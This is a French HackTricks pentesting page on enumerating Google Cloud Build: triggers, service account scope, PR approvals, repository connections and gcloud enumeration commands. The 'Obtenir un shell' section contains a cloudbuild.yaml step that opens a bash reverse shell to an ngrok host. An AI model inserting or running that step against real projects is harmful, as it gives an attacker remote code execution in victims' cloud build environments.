# GCP - Cloud Build Enum

{{#include ../../../banners/hacktricks-training.md}}

## Informations de base

Google Cloud Build est une plateforme CI/CD gérée qui **automatise la construction** et les processus de publication de logiciels, s'intégrant avec **des dépôts de code source** et prenant en charge un large éventail de langages de programmation. Elle **permet aux développeurs de construire, tester et déployer du code automatiquement** tout en offrant la flexibilité de personnaliser les étapes de construction et les flux de travail.

Chaque déclencheur Cloud Build est **lié à un dépôt Cloud ou directement connecté à un dépôt externe** (Github, Bitbucket et Gitlab).

> [!TIP]
> Je n'ai trouvé aucun moyen de voler le token Github/Bitbucket d'ici ou des dépôts Cloud car lorsque le dépôt est téléchargé, il est accessible via une [https://source.cloud.google.com/](https://source.cloud.google.com/) URL et Github n'est pas accessible par le client.

### Événements

Le Cloud Build peut être déclenché si :

- **Push vers une branche** : Spécifiez la branche
- **Push d'un nouveau tag** : Spécifiez le tag
- P**ull request** : Spécifiez la branche qui reçoit le PR
- **Invocation manuelle**
- **Message Pub/Sub :** Spécifiez le sujet
- **Événement Webhook** : Exposera une URL HTTPS et la requête doit être authentifiée avec un secret

### Exécution

Il y a 3 options :

- Un yaml/json **spécifiant les commandes** à exécuter. Généralement : `/cloudbuild.yaml`
- Uniquement celui qui peut être spécifié “inline” dans la console web et dans le cli
- Option la plus courante
- Pertinent pour un accès non authentifié
- Un **Dockerfile** à construire
- Un **Buildpack** à construire

### Permissions SA

Le **Service Account a le scope `cloud-platform`**, donc il peut **utiliser tous les privilèges.** Si **aucun SA n'est spécifié** (comme lors de la soumission), le **SA par défaut** `<proj-number>@cloudbuild.gserviceaccount.com` sera **utilisé.**

Par défaut, aucune permission n'est donnée mais il est assez facile d'en donner :

<figure><img src="../../../images/image (16).png" alt=""><figcaption></figcaption></figure>

### Approbations

Il est possible de configurer un Cloud Build pour **exiger des approbations pour les exécutions de construction** (désactivé par défaut).

### Approbations PR

Lorsque le déclencheur est un PR, parce que **tout le monde peut effectuer des PR sur des dépôts publics**, il serait très dangereux de simplement **permettre l'exécution du déclencheur avec n'importe quel PR**. Par conséquent, par défaut, l'exécution ne sera **automatique que pour les propriétaires et les collaborateurs**, et pour exécuter le déclencheur avec d'autres PRs d'utilisateurs, un propriétaire ou un collaborateur doit commenter `/gcbrun`.

<figure><img src="../../../images/image (339).png" alt="" width="563"><figcaption></figcaption></figure>

### Connexions & Dépôts

Des connexions peuvent être créées via :

- **GitHub :** Cela affichera une invite OAuth demandant des permissions pour **obtenir un token Github** qui sera stocké dans le **Secret Manager.**
- **GitHub Enterprise :** Il demandera d'installer une **GithubApp**. Un **token d'authentification** de votre hôte GitHub Enterprise sera créé et stocké dans ce projet en tant que secret du **Secret Manager**.
- **GitLab / Enterprise :** Vous devez **fournir le token d'accès API et le token d'accès API en lecture** qui seront stockés dans le **Secret Manager.**

Une fois qu'une connexion est générée, vous pouvez l'utiliser pour **lier des dépôts auxquels le compte Github a accès**.

Cette option est disponible via le bouton :

<figure><img src="../../../images/image (17).png" alt=""><figcaption></figcaption></figure>

> [!TIP]
> Notez que les dépôts connectés avec cette méthode sont **uniquement disponibles dans les Déclencheurs utilisant la 2ème génération.**

### Connecter un Dépôt

Ce n'est pas la même chose qu'une **`connexion`**. Cela permet **différentes** manières d'obtenir **accès à un dépôt Github ou Bitbucket** mais **ne génère pas un objet de connexion, mais génère un objet de dépôt (de 1ère génération).**

Cette option est disponible via le bouton :

<figure><img src="../../../images/image (18).png" alt=""><figcaption></figcaption></figure>

### Stockage

Parfois, Cloud Build va **générer un nouveau stockage pour stocker les fichiers pour le déclencheur**. Cela se produit par exemple dans l'exemple que GCP propose avec :
```bash
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
```
Un bucket de stockage appelé [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) est créé pour stocker un `.tgz` avec les fichiers à utiliser.

### Obtenir un shell
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
Installer gcloud à l'intérieur de cloud build :
```bash
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
```
### Énumération

Vous pourriez trouver **des informations sensibles dans les configurations de build et les journaux**.
```bash
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
```
### Escalade de privilèges

{{#ref}}
../gcp-privilege-escalation/gcp-cloudbuild-privesc.md
{{#endref}}

### Accès non authentifié

{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
{{#endref}}

### Post-exploitation

{{#ref}}
../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
